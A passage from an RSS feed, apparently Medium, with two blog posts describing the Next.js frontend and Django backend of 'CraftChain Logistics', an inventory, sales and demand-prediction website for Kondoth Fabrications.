            <content:encoded><![CDATA[<p>In the digital age, a compelling and functional user interface is crucial for any business. Our project, “CraftChain Logistics,” aimed to streamline the operations of Kondoth Fabrications by developing a comprehensive website. This blog post will delve into the frontend development of this project, showcasing how we created a user-friendly and efficient interface using Next.js and TypeScript.</p><h4>Frontend Development: The Face of CraftChain Logistics</h4><p>The frontend of CraftChain Logistics was developed using Next.js, a React-based framework known for its performance and scalability. By leveraging TypeScript, we ensured type safety and consistency across our codebase. Here’s a detailed look at how our frontend supports various functionalities outlined in the project abstract.</p><p>1. <strong>User Interface and Experience</strong></p><p>A seamless user interface (UI) and user experience (UX) are paramount for the success of any web application.</p><ul><li><strong>Responsive Design:</strong> We implemented a responsive design to ensure the website works flawlessly on all devices, from desktops to mobile phones. This was achieved using CSS frameworks and media queries.</li><li><strong>Intuitive Navigation:</strong> The navigation structure is straightforward, allowing users to access different sections of the site easily. Key sections include Inventory Management, Sales Tracking, and Demand Prediction.</li><li><strong>Interactive Elements:</strong> We incorporated interactive elements such as modals, dropdowns, and tooltips to enhance the user experience. These elements provide additional information and functionalities without cluttering the interface.</li></ul><p>2. <strong>Inventory Management Interface</strong></p><p>Managing inventory efficiently requires a clear and organized interface.</p><ul><li><strong>Dashboard Overview:</strong> The inventory management section features a dashboard that provides an overview of current stock levels, recent transactions, and alerts for low inventory.</li><li><strong>Detailed Views:</strong> Users can view detailed information about each inventory item, including its history, current status, and location within the facility. This is facilitated by dynamic tables and charts.</li><li><strong>CRUD Operations:</strong> We provided easy-to-use forms for creating, reading, updating, and deleting inventory items. Real-time feedback and validation ensure data integrity.</li></ul><p>3. <strong>Sales Tracking Interface</strong></p><p>Tracking sales data is crucial for business insights and planning.</p><ul><li><strong>Sales Dashboard:</strong> The sales tracking section includes a dashboard that displays key metrics such as total sales, best-selling products, and sales trends over time.</li><li><strong>Data Visualization:</strong> Charts and graphs help visualize sales data, making it easier for users to understand trends and make informed decisions. We used libraries like Chart.js for this purpose.</li><li><strong>Report Generation:</strong> Users can generate detailed sales reports that can be exported in various formats such as PDF and Excel.</li></ul><p>4. <strong>Demand Prediction Visualization</strong></p><p>Presenting demand predictions in a comprehensible manner is essential for strategic planning.</p><ul><li><strong>Predictive Analytics Dashboard:</strong> The demand prediction section features a dashboard that showcases forecasted demand using historical data and machine learning algorithms.</li><li><strong>Time Series Graphs:</strong> Time series graphs illustrate past trends and future predictions, helping users understand and act on the data.</li><li><strong>Customizable Views:</strong> Users can customize the time range and parameters for the predictions, allowing for tailored insights.</li></ul><p>5. <strong>Performance and Security</strong></p><p>Ensuring optimal performance and security was a priority in our frontend development.</p><ul><li><strong>Optimized Loading:</strong> We utilized Next.js’s server-side rendering (SSR) and static site generation (SSG) capabilities to optimize loading times and improve performance.</li><li><strong>Type Safety:</strong> Using TypeScript helped us catch errors early in the development process, ensuring a more stable and reliable application.</li><li><strong>Secure Communication:</strong> All data exchanges between the frontend and backend are secured using HTTPS, protecting sensitive information from unauthorized access.</li></ul><h4>Conclusion</h4><p>The frontend of CraftChain Logistics, built using Next.js and TypeScript, provides a robust and user-friendly interface that supports the efficient operations of Kondoth Fabrications. By focusing on responsive design, intuitive navigation, and comprehensive data visualization, our frontend development enhances the overall user experience and operational efficiency. This interface not only makes the work process smoother but also boosts productivity by providing clear and actionable insights.</p><p>Explore the full details of our project and codebase on our <a href="https://github.com/ZUMORITO2002/nextjs-dashboard">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=415e898b965d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crafting Efficient Logistics: Backend Development for CraftChain Logistics]]></title>
            <link>https://medium.com/@roosewelt47/crafting-efficient-logistics-backend-development-for-craftchain-logistics-e9f40b15a2d2?source=rss-64a119868d0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9f40b15a2d2</guid>
            <category><![CDATA[django]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[inventory-management]]></category>
            <dc:creator><![CDATA[Roosewelt]]></dc:creator>
            <pubDate>Mon, 10 Jun 2024 15:53:58 GMT</pubDate>
            <atom:updated>2024-06-10T15:56:13.590Z</atom:updated>
            <content:encoded><![CDATA[<p>In the modern digital landscape, a robust online presence is imperative for businesses. Our project, “CraftChain Logistics,” aimed to develop a software solution to streamline the operations of Kondoth Fabrications. This blog post will delve into the backend development of this project, explaining how our server logic and database management support the goals outlined in the project abstract.</p><h4>Backend Development: The Heart of CraftChain Logistics</h4><p>The backend of CraftChain Logistics was developed using Django, a high-level Python web framework known for its simplicity and robustness. Here’s a look at how the backend supports various functionalities of our ERP-based solution.</p><p>1. <strong>Inventory Management</strong></p><p>One of the core aspects of our project is efficient inventory management. The backend handles this through a comprehensive database system that tracks all inventory items, their quantities, and their status.</p><ul><li><strong>Database Models:</strong> We designed models to represent different inventory items, including their attributes like name, quantity, location, and status.</li><li><strong>CRUD Operations:</strong> The backend supports Create, Read, Update, and Delete (CRUD) operations, allowing users to manage inventory efficiently. For example, when a new batch of raw materials arrives, it can be added to the system, and when materials are used, the quantities are updated accordingly.</li><li><strong>Automated Alerts:</strong> We implemented logic to send automated alerts when inventory levels fall below a certain threshold, ensuring timely restocking and preventing production delays.</li></ul><p>2. <strong>Sales Tracking</strong></p><p>Tracking sales is crucial for understanding business performance and planning for the future. Our backend system facilitates detailed sales tracking and reporting.</p><ul><li><strong>Sales Models:</strong> Similar to inventory, we created models to store information about sales transactions, including product details, quantities sold, customer information, and timestamps.</li><li><strong>Data Analysis:</strong> The backend performs data analysis to generate reports on sales trends, helping the business identify best-selling products and peak sales periods.</li><li><strong>Integration with Inventory:</strong> Each sale transaction automatically updates the inventory, maintaining real-time accuracy in stock levels.</li></ul><p>3. <strong>Demand Prediction</strong></p><p>Accurate demand prediction can significantly enhance resource allocation and reduce waste. We integrated advanced prediction algorithms into our backend.</p><ul><li><strong>Historical Data:</strong> The backend stores historical sales data, which is crucial for making accurate predictions.</li><li><strong>Statistical Techniques:</strong> We used time series analysis and regression techniques to analyze historical data and predict future demand.</li><li><strong>Machine Learning:</strong> Leveraging Django’s flexibility, we integrated machine learning models to continually improve the accuracy of our predictions based on new data.</li></ul><p>4. <strong>Efficiency and Productivity</strong></p><p>By automating routine tasks and reducing human error, our backend system boosts overall productivity.</p><ul><li><strong>Workflow Automation:</strong> The backend handles various workflows, such as order processing and inventory updates, automatically. This reduces the need for manual intervention and speeds up operations.</li><li><strong>Error Reduction:</strong> With automated processes, the chances of human error are minimized, ensuring more accurate and reliable operations.</li></ul><p>5. <strong>Security and Scalability</strong></p><p>Ensuring the security and scalability of the system was a priority in our backend development.</p><ul><li><strong>User Authentication:</strong> We implemented robust user authentication and authorization mechanisms to ensure that only authorized personnel can access sensitive information.</li><li><strong>Scalable Architecture:</strong> The backend is designed to scale seamlessly as the business grows, handling increased data volumes and user traffic without compromising performance.</li></ul><h4>Conclusion</h4><p>The backend of CraftChain Logistics, built using Django, is the backbone that supports the efficient operations of Kondoth Fabrications. By ensuring robust inventory management, accurate sales tracking, advanced demand prediction, and overall operational efficiency, our backend development plays a critical role in achieving the project’s goals. This system not only reduces unnecessary waste but also boosts productivity, making the work process smoother for the business.</p><p>Explore the full details of our project and codebase on the Github repository <a href="http://www.github.com/roose47/CraftChain-Logistics/">github.com/roose47CraftChain-Logistics/</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9f40b15a2d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>